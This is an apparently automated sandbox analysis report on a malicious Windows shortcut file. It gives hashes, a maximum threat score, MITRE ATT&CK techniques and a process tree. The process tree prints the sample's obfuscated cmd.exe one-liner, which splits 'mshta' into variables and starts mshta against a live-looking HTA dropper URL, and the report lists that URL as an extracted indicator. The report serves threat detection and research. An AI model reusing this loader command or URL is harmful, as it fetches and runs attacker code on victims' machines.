4f36e33a0ce9e5326178dc9a159e640754ebf9dd0d64ce73b66e2e56617b3e65

Analysis

max time kernel
150s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:22

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General

Target
DOC-MJ0W76.lnk
Size 1KB
Sample260803-qmpthazbpg
SHA256 4f36e33a0ce9e5326178dc9a159e640754ebf9dd0d64ce73b66e2e56617b3e65
MD5 bcc910ed3944d924dc73ae11a1c454a7
SHA1 84a2e0b6ee646606387782bb55843afeeb6c499b
SHA512 089d5ba5f3cd45a00ab9a0134cb1f3317436b474782fac0bc88bed454abb9f9ffe62b560a021f05f0abb3e6258ef05a92055873420eb6869b9b20a8986eaf04e
TLSH
T1813170503FF90614F3F78E7798BB572085BBB9958E10C61D4141464C1432618E17BF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5092	cmd.exe
3040	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5092 wrote to memory of 3040	5092	cmd.exe	90
PID 3040 wrote to memory of 5356	3040	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-MJ0W76.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5092
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set vB=msh&&set KEfSS=ta&&start "" !vB!!KEfSS! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:5356

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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